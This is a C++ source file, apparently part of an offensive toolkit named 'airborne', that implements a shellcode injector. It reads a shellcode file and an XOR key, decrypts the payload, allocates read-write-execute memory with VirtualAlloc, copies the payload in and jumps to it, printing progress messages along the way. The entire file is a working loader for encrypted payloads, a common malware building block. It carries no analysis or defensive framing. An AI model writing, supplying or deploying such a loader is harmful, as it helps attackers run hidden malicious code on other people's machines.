airborne/injector/injector.cpp

#include <windows.h>

#include <iostream>

#include "../shared/crypto.hpp"
#include "../shared/futils.hpp"

#define VERBOSE 1

int main(int argc, char **argv) {
  if (argc != 3) {
    std::cout << "\nUsage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>\n"
              << std::endl;
    return 1;
  }

#ifdef VERBOSE
  std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
#endif

  auto shellcodeContents = ReadFromFile(argv[1]);

#ifdef VERBOSE
  std::cout << "[+] Reading XOR key from " << argv[2] << std::endl;
#endif

  auto key = ReadFromFile(argv[2]);

#ifdef VERBOSE
  std::cout << "[+] XOR'ing shellcode" << std::endl;
#endif

  XorCipher(&shellcodeContents, key);

  auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  if (!baseAddress) {
    std::cout << "[!] Failed to allocate memory" << std::endl;
    return 1;
  }

#ifdef VERBOSE
  std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl;
#endif

  std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress));

#ifdef VERBOSE
  std::cout << "[+] Copied shellcode to " << baseAddress << std::endl;
  std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl;
#endif

  __asm__("jmp *%0" ::"r"(baseAddress));

  return 0;
}